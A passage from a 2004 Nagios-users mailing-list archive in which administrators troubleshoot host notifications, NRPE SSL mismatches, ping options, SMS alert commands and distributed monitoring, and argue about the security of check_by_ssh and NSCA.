GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jws at lindy.stanford.edu Fri Mar 26 00:17:55 2004 From: jws at lindy.stanford.edu (Jim Stosick) Date: Thu, 25 Mar 2004 15:17:55 -0800 Subject: Host check notification problem References: <4062119C.F153065@lindy.stanford.edu> <20040325182718.GA8738@isite.net> Message-ID: <406368A3.C98DF312@lindy.stanford.edu> Below is the host definition I have been testing with. If I shut down the web server I get service alert notifications every 15 minutes while it is down. If I shut down the host I get one host alert notification when the system is detected as down. There are no repeat notifications even if the system is down for much longer than the 15 minute notification interval. As soon as I bring the system up I get a host recovery notification. The Nagios version is 1.2, running on Solaris 8. I didn't set up the Nagios server and I'm new to using Nagios. If there is some additional information that would be useful in diagnosing the problem I can get it from the other config files. define hostgroup { hostgroup_name forsythe-testing-group alias Forsythe Sun Test System contact_groups forsythe-sun-admin-mail members sherpa } define host { host_name sherpa alias sherpa address sherpa.stanford.edu check_command check-host-alive max_check_attempts 3 notification_interval 15 notification_period 24x7 notification_options d,u,r } define service { host_name sherpa service_description service test check_command check_http max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 check_period 24x7 notification_interval 15 notification_options w,u,c,r notification_period 24x7 contact_groups forsythe-sun-admin-mail } ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From emord at usc.edu Fri Mar 26 00:33:45 2004 From: emord at usc.edu (Brian Emord) Date: Thu, 25 Mar 2004 15:33:45 -0800 (PST) Subject: Cross-platform difficulties with NRPE Message-ID: Greetings, We are currently exploring the use of nagios as a basic monitoring tool for test environment. We have the setup where a Mac OSX (10.3.3) box is serving nagios and checks Linux (Mandrake 9), Mac OSX (10.3.3), and Solaris (2.6, 2.8, 2.9). The checks running off our server to remote hosts all return expected data (up, warn, critical, etc) without a problem. We set up NRPE daemons to run on OSX, Linux, and Solaris (compiled separately on their respective environments). When the server contacts linux or OSX, nrpe responds as expected. When it contacts solaris we get the following output in the log (with verbose logging on): nrpe[10566]: [ID 654915 daemon.debug] Connection from SERVER nrpe[10566]: [ID 797369 daemon.debug] Host address checks out ok nrpe[10566]: [ID 879649 daemon.debug] Handling the connection... nrpe[10566]: [ID 421412 daemon.error] Could not read request from client, bailing out... nrpe[10566]: [ID 903583 daemon.debug] Connection from SERVER closed. We use check_nrpe from solaris to solaris and it works well. Unfortunately, when we attempt to go the other way (solaris to mac), we get the same failure as above. Thanks for any input you can provide. -Brian ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Fri Mar 26 00:45:44 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 25 Mar 2004 18:45:44 -0500 (EST) Subject: snmp timeticks In-Reply-To: <4061DB0E.6080303@sbtt.net> References: <4061DB0E.6080303@sbtt.net> Message-ID: On Wed, 24 Mar 2004, Steve wrote: > has anybody ran into a way to convert timeticks to a % value for a > check_snmp command or am I stuck doing a convert in my head every time? > > UCD-SNMP-MIB::ssCpuRawUser.0 = Counter32: 82643 > The above OID is not time ticks but pct*x check_snmp currently does not support any math functions. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ajog at netcabo.pt Fri Mar 26 00:43:00 2004 From: ajog at netcabo.pt (=?iso-8859-1?Q?Ant=F3nio_Galindro?=) Date: Thu, 25 Mar 2004 23:43:00 -0000 Subject: =?iso-8859-1?Q?Nagios_em_Portugu=EAs=3F?= Message-ID: <001001c412c2$e914daf0$0100a8c0@ajogmaster> Boas, envio este e-mail com o objectivo de encontrar pessoas que utilizem o Nagios e falem/escrevam em Portugu?s. Estou apenas a dar os primeiros passos neste potente monitor de redes/sistemas e gostaria de contactar com pessoas com alguma experi?ncia para trocar ideias. Cumprimentos Ant?nio -------------- next part -------------- An HTML attachment was scrubbed... URL: From sghosh at sghosh.org Fri Mar 26 01:01:16 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 25 Mar 2004 19:01:16 -0500 (EST) Subject: problem with router monitor In-Reply-To: References: Message-ID: On Thu, 25 Mar 2004, Hugo Rebello wrote: > I don?t known, How this check can I monitor if the protocol is up or not ? > About this check_ifoperstatus, could you tell me what sintaxe should I use ? > I don?t known what I put in --key and --descr option. > When you say "protocol" what exactly do you mean? Routers have: physical interfaces logical links routing process CPU utilization Memory usage -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From emord at usc.edu Fri Mar 26 02:22:48 2004 From: emord at usc.edu (Brian Emord) Date: Thu, 25 Mar 2004 17:22:48 -0800 (PST) Subject: Cross-platform difficulties with NRPE In-Reply-To: <40637B33.1040504@op5.se> References: <40637B33.1040504@op5.se> Message-ID: On Fri, 26 Mar 2004, Andreas Ericsson wrote: >Brian Emord wrote: >> Greetings, > >I'm guessing the nrpe binaries on Solaris aren't compiled with >ssl-support, which means they'll get encrypted packages but try to treat >them as plaintext. > This was exactly the problem. Our resident nagios person told me that ssl wasn't on by default, I guess I should have investigated closer. Got it re-compiled with ssl on, and it works fine. Thank you for the advice. >Also, make sure any firewall sitting between them allows traffic back >and forth (yes, some people actually miss that). > At first this is what I thought was the problem (well something similar), but didn't want to bother the list until I exhausted all of (what I thought) the possibilities. > >-- >Sourcerer / Andreas Ericsson >OP5 AB >+46 (0)733 709032 >andreas.ericsson at op5.se > > -Brian ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Fri Mar 26 01:37:07 2004 From: ae at op5.se (Andreas Ericsson) Date: Fri, 26 Mar 2004 01:37:07 +0100 Subject: Cross-platform difficulties with NRPE In-Reply-To: References: Message-ID: <40637B33.1040504@op5.se> Brian Emord wrote: > Greetings, > We set up NRPE daemons to run on OSX, Linux, and Solaris (compiled > separately on their respective environments). When the server contacts > linux or OSX, nrpe responds as expected. When it contacts solaris we get > the following output in the log (with verbose logging on): > > nrpe[10566]: [ID 654915 daemon.debug] Connection from SERVER > nrpe[10566]: [ID 797369 daemon.debug] Host address checks out ok > nrpe[10566]: [ID 879649 daemon.debug] Handling the connection... > nrpe[10566]: [ID 421412 daemon.error] Could not read request from client, bailing out... > nrpe[10566]: [ID 903583 daemon.debug] Connection from SERVER closed. > > We use check_nrpe from solaris to solaris and it works well. > Unfortunately, when we attempt to go the other way (solaris to mac), we > get the same failure as above. > I'm guessing the nrpe binaries on Solaris aren't compiled with ssl-support, which means they'll get encrypted packages but try to treat them as plaintext. Is openssl installed on the solaris machines, and is nrpe configured to use them? If not (and to find out the answer), you can try using check_nrpe -n -H -c from the mac (for instance). The '-n' flag makes nrpe not use ssl. Also, make sure any firewall sitting between them allows traffic back and forth (yes, some people actually miss that). > Thanks for any input you can provide. > Happy to be of help. > -Brian > -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zaineb.de.souza at consultant.volvo.com Fri Mar 26 03:18:00 2004 From: zaineb.de.souza at consultant.volvo.com (De Souza Zaineb) Date: Fri, 26 Mar 2004 10:18:00 +0800 Subject: Changes and SMS gateway Message-ID: Hi I have a few problems....and I am just stuck. First of all I have made amendments to my config files regarding ip addresses and phone numbers, yet these changes are not taking effect, despite that I ran the check and restarted nagios. Can anyone help me out? Also I need to change the command for notify-by-epager, as I am changing sms gateway and need the contacts phonenumber in the subject of the sms. This is the command I am using...but how do I create the variable in the contact.cfg to correlate with the command. # 'host-notify-by-epager' command definition: for SMS messages (Host Issue) define command{ command_name host-notify-by-epager command_line /usr/bin/printf "%b" "$NOTIFICATIONTYPE$:$HOSTNAME$:$HOSTSTATE$:$DATETIME$:$OUTPUT$" | /bin/mail -s "$CONTACTPAGER$" 0061786897097 at sms.####.com } I also want to create backup contact groups, but I only want the backup group to be notified after a host has been down for a certain time. What do I need to do? Cheers Zaineb -------------- next part -------------- An HTML attachment was scrubbed... URL: From pla at softflare.com Fri Mar 26 03:47:48 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 02:47:48 +0000 Subject: check_by_ssh question In-Reply-To: <40634AF6.6040408@op5.se> References: <40634AF6.6040408@op5.se> Message-ID: <20040326024750.5441.qmail@minnow.softflare.net> Andreas Ericsson writes: > Questions about that? OK, so somebody who can get shell as the nagios user on the monitoring machine can bypass things and hijack the Nagios user on monitored machines. It is a vulnerability, but only if somebody can get shell as nagios on the monitoring machine. If nagios on the monitoring machine has no password the only way somebody could get shell as nagios is if they're already root. In which case you probably have a lot more to worry about than them being able to execute arbitrary commands *as nagios* on the monitored machines. Unless you've done something silly, (like make a plugin setuid instead of using sudo or left your machine wide open to unprivileged users) then there's not that much damage somebody could do as nagios anyway. The worst they can do is either fake check results or trash your nagios installation. Well, they could grab /etc/passwd, but surely everyone is using shadow passwords these days. > Hmm... I think I'll start working on ssh style encryption (dsa) for nrpe, > with public / private key handshake and so on. Seems a bit easier than all > this hassle. The configuration for NRPE is, in my opinion, a pain in the anatomy. Add to that the lack of security other than tcpwrappers (which I can't make use of because my boss insists on being able to monitor from his home cable line which gets a new IP every so often) and it's even less desirable. So I switched to check_by_ssh, which is workable. Until you need to start monitoring machines behind a firewall. I couldn't get check_by_ssh to send a command that ran check_by_ssh on the firewall to run a command on the monitored machine. Maybe it's possible with enough quoting and escaping of quoting but I didn't find something that worked and eventually gave up. So now I use NCSA for machines behind firewalls. First big advantage is it takes some of the load off the monitoring machine. Second big advantage is that the configs are almost identical on monitoring machine and on firewall instead of being completely different. Third big advantage is that it's actually encrypted. The disadvantage of NCSA is that if you have many different firewalls installed at clients sites and you're monitoring the clients' networks then they all share the same password so theoretically a malicious person at one client who could get root access on the firewall could screw up other clients' results (anyone with a rescue disk or distribution CD can gain root if they have physical access). I can't think of a reason why anyone would want to do this, but they could. You can get around it by running many copies of the NCSA daemon each with a different config file, a different password and listening on a different port. But if you really felt an urge to start hacking around, I'd like to see NCSA take an optional username and the daemon take a list of username/password pairs. Then each client could have a different username and password and the only (slight, improbable) security hole in NCSA would be plugged without having to run multiple daemons. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 26 03:52:08 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 02:52:08 +0000 Subject: solved In-Reply-To: <200403251433.47330.rmiller@duskglow.com> References: <200403251433.47330.rmiller@duskglow.com> Message-ID: <20040326025208.6248.qmail@minnow.softflare.net> Russell Miller writes: > I solved it. The ping on redhat 8 is broken - it doesn't return when -c > 1 is specified on a nonresponding host. No it's not broken, it works exactly as documented in the man page. > Installing the redhat 9 RPMs fixed the > problem. Looking at the man page and understanding the significance of the -w option would also have fixed your problem. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 26 04:00:50 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 03:00:50 +0000 Subject: Step-by-Step to Update Config Files for Monitoring In-Reply-To: <943B458A6A6E0540AD7D80D78DE371040367E07A@exchange3.ubc.ca> References: <943B458A6A6E0540AD7D80D78DE371040367E07A@exchange3.ubc.ca> Message-ID: <20040326030050.7811.qmail@minnow.softflare.net> Atwal, Steve writes: > The sample files that came with the installation don't seem to work This is documented. They don't work. They are examples of specific things people might want to do but they are NOT consistent, so as a whole the sample configuration doesn't work. I regard this as a bug. Examples are good, but only if all the config files play nicely with each other, so that you can copy the example configs and have a system that works, even if it's monitoring stuff that doesn't exist. That way you can make incremental changes to reflect your real requirements and see what breaks. When it's all broken to begin with, you have to tweak everything to get something that works even though you probably don't understand things well enough at that point to get to a point where everything works. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Thu Mar 25 19:41:34 2004 From: jrhett at isite.net (Joe Rhett) Date: Thu, 25 Mar 2004 10:41:34 -0800 Subject: Fwd: Services In-Reply-To: References: Message-ID: <20040325184134.GD8738@isite.net> Because it's not a nagios issue. Processor utilization uses 'check_load'. The other options use different commands, right? So apparently check_load is trying to connect to the server in a different way. Use a sniffer to figure out what the difference is, or read the docs. You can also just run these by hand until you get check_load to work properly and then add it back into the configuration. On Wed, Mar 24, 2004 at 11:35:13AM -0800, Michael Gaskin wrote: > I wonder if my question below met the criteria of "read the manual > idiot..." :) Just looking for some reason why I am getting strange > results. > > Thanks. > > >>> "Michael Gaskin" 3/23/2004 3:57:06 PM >>> > Hi all... > > I am getting: (removed date/time) > > DS Open OK Directory Services Database is open (DS version 10410.98) > PING OK - Packet loss = 0%, RTA = 0.17 ms > Free - SYS CRITICAL 3/3 Connection refused by host > Free - APPS OK 1/3 54876 MB (94%) free on volume APPS > Processor Utilization - 15 Minutes CRITICAL 3/3 Connection refused by > host > > -=-=-=-=-= > > Question... Why would some services show a connection refused while the > others work? Here's the services file: > > ## CBSRV002 > > define service{ > use generic-service > host_name cbsrv002 > service_description PING > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 120 > notification_period 24x7 > notification_options c,r > check_command check_ping!100.0,20%!500.0,60% > } > > define service{ > use generic-service > host_name cbsrv002 > service_description DS Open > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_nwstat!DSDB > } > > define service{ > use generic-service > host_name cbsrv002 > service_description Processor Utilization - 15 > Minutes > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_load15!50!80 > } > > define service{ > use generic-service > host_name cbsrv002 > service_description Percent Free - SYS > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_percent_used_sys!10!5 > } > > define service{ > use generic-service > > host_name cbsrv002 > service_description Precent Free - APPS > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_percent_used_apps!10!5 > } > > -=-=-=- > > Here's the checkcommand text for the check_percent_used: > > define command{ > command_name check_percent_used_sys > command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFSYS -w > $ARG1$ -c $ARG2$ > } > > define command{ > command_name check_percent_used_apps > command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFAPPS > -w $ARG1$ -c $ARG2A > } > > *=-=- > > By the way, the two above check commands work on other servers... As > well as the services listed... I've got 17 servers configured with > nearly the same text... (except for server name)... > > Any clues would be appreciated. > > Take Care... > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmiller at duskglow.com Fri Mar 26 04:14:19 2004 From: rmiller at duskglow.com (Russell Miller) Date: Thu, 25 Mar 2004 21:14:19 -0600 Subject: solved In-Reply-To: <20040326025208.6248.qmail@minnow.softflare.net> References: <200403251433.47330.rmiller@duskglow.com> <20040326025208.6248.qmail@minnow.softflare.net> Message-ID: <200403252114.32046.rmiller@duskglow.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 25 March 2004 20:52, Paul L. Allen wrote: > Looking at the man page and understanding the significance of the -w > option would also have fixed your problem. Perhaps. However, the default ping action uses the options as follows: ping -n -U -c 1 using the redhat 8 ping with these default options fails. I maintain that if ping fails with the nagios default ping options, either ping is broken or the default nagios install is broken. Because upgrading the rpm solved the problem, it's pretty obvious that it the ping behavior was changed between 8 and 9, so I must assume that they viewed the behavior in redhat 8 as a bug. Therefore, I believe that ping was indeed broken. Nevertheless, it's a moot point now. The upgrade solved the problem, so I see no reason to tinker with it further. Thanks for the feedback, though. - --Russell - -- 21:03:23 up 47 days, 9:46, 2 users, load average: 0.12, 0.24, 0.31 Russell Miller - rmiller at duskglow.com - Somewhere near Sioux City, IA. Youth cannot know age, but age is guilty if it forgets youth - Professor Dumbledore Hi! I'm a .signature virus! Copy me into your ~/.signature, please! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAY6APURTA4VCI9OARAlG+AJ90A2bw3LkY4cqAlshoBldsnMNtCwCfQ0X9 lJcxHEU6J/WSjZIr7zCAcBE= =lqe2 -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at datavis.se Fri Mar 26 08:02:33 2004 From: fredrik.wanglund at datavis.se (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Fri, 26 Mar 2004 08:02:33 +0100 Subject: Trying out Apan and getting an UNKNOWN error message In-Reply-To: <5593DA408212D511B0910002A513501F0655926F@phsexch20.mgh.harvard.edu> References: <5593DA408212D511B0910002A513501F0655926F@phsexch20.mgh.harvard.edu> Message-ID: <4063D589.4030403@datavis.se> I think you got an '-' intead of '_' in the check_command; check_command apan!nt_disk!150!100 /FredrikW Kaplan, Andrew H. wrote: > I installed Apan 0.3.0-sql and configured it according to the documentation that > came with it. > The first test that I have for it is to track the disk space usage on a > particular Windows 2000 > machine. > > I ran the apanconf-sql utility and provided the information for the table in > question. I then ran > Nagios and was confronted with an error message saying the plug-in nt-disk was > unknown. > > Any ideas? > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Fri Mar 26 09:21:15 2004 From: ae at op5.se (Andreas Ericsson) Date: Fri, 26 Mar 2004 09:21:15 +0100 Subject: check_by_ssh question In-Reply-To: <20040326024750.5441.qmail@minnow.softflare.net> References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> Message-ID: <4063E7FB.8060605@op5.se> Paul L. Allen wrote: > Andreas Ericsson writes: > >> Questions about that? > > OK, so somebody who can get shell as the nagios user on the monitoring > machine can bypass things and hijack the Nagios user on monitored > machines. It is a vulnerability, but only if somebody can get shell > as nagios on the monitoring machine. Yes, and they can later elevate their privileges. Most linux users run one of the major distributions (like Red Hat). I still haven't seen a default Red Hat install without a local root exploit (usable by 'nobody'). > If nagios on the monitoring > machine has no password the only way somebody could get shell as nagios > is if they're already root. Wrong. There are also remote exploits. If you were to follow bugtraq or vuln-dev you wouldn't have that false sense of security. >In which case you probably have a lot > more to worry about than them being able to execute arbitrary commands > *as nagios* on the monitored machines. You seem to think that allowing an attacker in as any other user than root is half OK. I don't really understand where you came up with the idea that there are no local privilege escalation problems, but I'd never hire you to run a network I was depending on. > Unless you've done something silly, > (like make a plugin setuid instead of using sudo or left your machine > wide open to unprivileged users) then there's not that much damage > somebody could do as nagios anyway. If you have plugins running as root (either sudo or +s), you're trying too hard. If you have kernel patches in place to disallow access to regular users to certain items, it's NOT recommended to bypass these with sudo and +s. > The worst they can do is either > fake check results or trash your nagios installation. Well, they could > grab /etc/passwd, but surely everyone is using shadow passwords these > days. Or, they could hack root using a local exploit on any of the machines in the network. Please don't tell me you're immune, or that you have really good security. That would be a lie and we both know it. Shadow passwords are better than 'regular' unix passwords, but nowhere near good enough. With shadow passwords there are a bunch of setsuid programs on the machine, some of which may allow local privilege escalation. > >> Hmm... I think I'll start working on ssh style encryption (dsa) for >> nrpe, with public / private key handshake and so on. Seems a bit >> easier than all this hassle. > > > The configuration for NRPE is, in my opinion, a pain in the anatomy. Add > to that the lack of security other than tcpwrappers (which I can't make > use of because my boss insists on being able to monitor from his home > cable line which gets a new IP every so often) and it's even less > desirable. Is he running Nagios at home? Monitoring your business network? Now I understand where your security thinking gets warped. > The disadvantage of NCSA is that if you have many different firewalls > installed at clients sites and you're monitoring the clients' networks > then they all share the same password so theoretically a malicious > person at one client who could get root access on the firewall could > screw up other clients' results (anyone with a rescue disk or distribution > CD can gain root if they have physical access). No shit, sherlock. They can also use the init=/bin/sh boot option to lilo without ever touching disks of any kind. Also, any admin on customer-network1 could submit passive check results for customer-network2. > I can't think of a reason > why anyone would want to do this, but they could. I can't think of a reason for people to send spam, or run DoS attacks on home users, but they do anyway. > You can get around it > by running many copies of the NCSA daemon each with a different config > file, a different password and listening on a different port. There you have it. > But if you really felt an urge to start hacking around, I'd like to > see NCSA take an optional username and the daemon take a list of > username/password pairs. Rather an IP/password pair, for obvious reasons. > Then each client could have a different username > and password and the only (slight, improbable) security hole in NCSA > would be plugged without having to run multiple daemons. Unless we start thinking about buffer overflows, integer overflows, off-by-one bugs and other 'useful' (if you're looking to hack it) stuff, but I suppose you've browsed the source for it and decided there are no such faults in it. -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From R.Maurer at MKG-BANK.DE Fri Mar 26 10:30:59 2004 From: R.Maurer at MKG-BANK.DE (Maurer Roland MKG-Bank) Date: Fri, 26 Mar 2004 10:30:59 +0100 Subject: Distributed Monitoring / Check results are misssing Message-ID: <62393C59DAB2444AB75C58AD65D4A9B1011B7DE3@w2kexch> Hy, I have built up 2 Nagios Systems (Master and Slave). On the slave I have disable notification and active checks. The Switches for obsess over services are set in the Master system obsess_over_services=1 ocsp_command=ocsp_service The ocsp_command eventhandler is defined in the misccommand file like it is written in the documentation. Finally the Script is setup like in your documentation and the results are send by nsca. The manual nsca works fine, but the Checkresults are not received by the slave. Unfortunately I have 3 problems by the Failover configuration 1) When I start the master, the webfrontend tells me, that the Obsess_over_serives is set to NO 2) How can I check if the results are really send out 3) How can I check if the NSCA Messages came to the slave System ? R.Maurer --------------------------------------------------------------------------- Diese Nachricht ist vertraulich und nur fuer die bezeichneten Empfaenger bestimmt. Wenn Sie nicht der vorgesehene Adressat dieser E-Mail oder dessen Vertreter sein sollten, so beachten Sie bitte, dass jede Form der Kenntnisnahme, Veroeffentlichung, Vervielfaeltigung oder Weitergabe des Inhalts dieser E-Mail unzulaessig ist. Wir bitten Sie, sich in diesem Fall mit dem Absender der E-Mail in Verbindung zu setzen. Wir weisen ausserdem darauf hin, dass E-Mails verloren gehen, veraendert oder verfaelscht werden koennen. Herkoemmliche E-Mails sind nicht gegen den Zugriff von Dritten geschuetzt und deshalb ist auch die Vertraulichkeit unter Umstaenden nicht gewahrt. Der Inhalt der E-Mail ist nur rechtsverbindlich, wenn er unsererseits durch einen Brief entsprechend bestaetigt wird. Sollte trotz der von uns verwendeten Virenschutz-Programme durch die Zusendung von E-Mails ein Virus in Ihre Syste me gelangen, so haften wir nicht fuer eventuell hieraus entstehende Schaeden. The information transmitted is confidential and intended only for the person or entity to which it is addressed. If you are not the intended addressee of this e-mail or his representative, please be aware that any kind of review, publication, reproduction or retransmission of the content of this e-mail is prohibited. In this case your are requested to contact the sender of the e-mail. Furthermore, we point out that 